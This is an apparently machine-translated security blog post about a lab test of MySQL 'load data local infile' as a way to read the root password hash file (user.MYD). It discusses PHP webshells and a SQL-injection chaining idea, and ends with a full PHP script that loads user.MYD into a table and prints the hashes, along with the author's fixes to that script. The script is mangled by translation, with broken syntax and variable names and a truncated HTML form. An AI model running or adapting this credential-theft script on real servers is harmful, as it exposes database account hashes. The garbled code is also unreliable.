Breaking the rumor that MySQL has no file Permission to read root hash
I set up a win2003 Virtual Machine and installed wampserver. To avoid disputes like "whether or not it is related to MySQL account Permissions,In the test, MySQL uses the root account throughout the entire process.
Author: adwin
As we all know, in general, wampServer Apache is started as a system by default. so, it was confirmed by a Sike Trojan.
Now our PHP (Apache) runs under the omnipotent system permission. Of course, we can also directly use the PHP webshell to directly read the file that saves the hash of the MySQL account.
Well, we have all said that we are an omnipotent system.
Now let's test a so-called MySQL "unauthorized" load data local. I found a script written on the Internet by a great God (it is much more convenient, it is really for the benefit of the people). I tested it with this script and read the same content. (I will provide the source code for this script later)
Now we create a test user for testing.
Right-click my computer, manage, services, applications, services, find wampapache, that is, Apache services, right-click Properties-log on, we can see, the current login identity is "Local SYSTEM account"
Obviously, this is the system permission, so we have Apache run as the test user just created.
We have to restart the Apache service, but it seems that something is wrong.
Okay, let's take a look at the log. What is the situation...
I wiped it. It turns out that the permission is not enough after I replace it with the test user... Okay. Grant the test user the corresponding permissions. Apache is successfully started. At this time, let's look at whoami and make sure it is the identity of test.
In this case, we set the MySQL data DIRECTORY with the permission to reject the read/write permission of the user test.
Obviously, PHP webshell cannot read the data directory at this time (the permission is denied to apply to the data DIRECTORY And all sub-files (folders ))
At this time, we can use the load data local script to read it. (I promise I cannot read it. If I can read it, I will try it)
Well, it turns out that I don't need to watch live videos.
To sum up, the so-called "excessive permission" does not exist. load data only reads data from a file, and is opposite to into outfile. This makes it easier to understand. In theory, this load data method can only be used when the database is localhost.
Second, your load data permission is the same as the running permission of WEB scripts -- this means that if you can get the file content through load data, so webshell can be used to read it directly. Why do I have to take off my pants and fart?
Third, in fact, it is not completely useless. I suddenly think of a scenario, for example, you can directly select @ datadir at the injection point, load data after reading the path, and then select, this is also a way of thinking (obviously, I just thought that this may happen and I have never practiced it ).
Finally, you can paste the source code of a script written by a great god to check the load data statement.
In addition, I also pointed out the shortcomings of this script. If you are lucky enough to see it, I hope it will be helpful to you.
First: Line 1, original code: if (! Link) {, brother, you wrote less $. Please change it to if (! $ Link ){.
Second: line 2, original code: $ db_path_ SQL = "select @ basedir"; I suggest you use @ datadir instead of @ basedir here, although in most cases (by default), @ datadir is indeed equal to @ basedir. "/data", but in fact @ datadir can be customized. Sometimes @ datadir and @ basedir do not really have any relationship.
Third: Row 3, original Code :". $ db_path. "data/mysql/user. MYD, in fact, it seems that there is no problem here, but it seems that the $ db_path value here should not end with a slash "/", so the path you splice should be wrong, it may be similar to "c: \ mysqldata/mysql/user. "MYD" (this is not what we expect, but the value we expect is actually "c: \ mysql/data/mysql/user. MYD), because the value of $ db_path does not have a diagonal line at the end, the string data/mysql/user. MYD, with no diagonal lines at the front, leads to this problem (at least during my test), so, changed :". $ db_path. "/data/mysql/user. MYD can solve this problem.
Fourth: Let the user enter the host. At this time, the host can only be localhost. If it is a remote host, it cannot be read.
The final code is attached (Don't forget to modify the code of lines 8th and lines 26th.)
";
-
- If (isset ($ _ POST ['sub']) {
- $ Name = $ _ POST ['name'];
- $ Pass = $ _ POST ['Password'];
- $ Host = $ _ POST ['host'];
- $ Db = $ _ POST ['db'];
- $ Link = mysql_connect ($ host, $ name, $ pass );
- If (! Link ){
- Die ("cocould not connect". mysql_error ());
- }
- If (! Mysql_select_db ($ db, $ link )){
- Die ("db". mysql_error ());
- }
- $ Db_path_ SQL = "select @ basedir ";
- If ($ n = mysql_query ($ db_path_ SQL )){
- $ Db_path_rs = mysql_fetch_array ($ n );
- $ Db_path = str_replace ("\", "/", $ db_path_rs [0]);
- }
- $ Dropmoon = 'drop table moon ';
- $ SQL = "CREATE TABLE moon ('code' TEXT NOT NULL) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci ;";
- $ Exp = "load data local infile '". $ db_path. "data/mysql/user. MYD 'into TABLE moon fields terminated by ''' lines terminated by '\ 0 ';";
- $ Select = "SELECT code FROM moon ";
- $ Pass = "";
- Mysql_query ($ dropmoon );
- If (mysql_query ($ SQL )){
- If ($ row = mysql_query ($ exp )){
- If ($ row = mysql_query ($ select )){
- While ($ rows = mysql_fetch_array ($ row ))
- {
- Echo $ pass. = $ rows ['code'];
- }
- }
- }
- }
- }
- Else {
- Echo"
- Echo '';
- Echo "";
- Echo "";
- Echo '";
- Echo" ";
- Echo '';
- Echo "";
- }
- ?>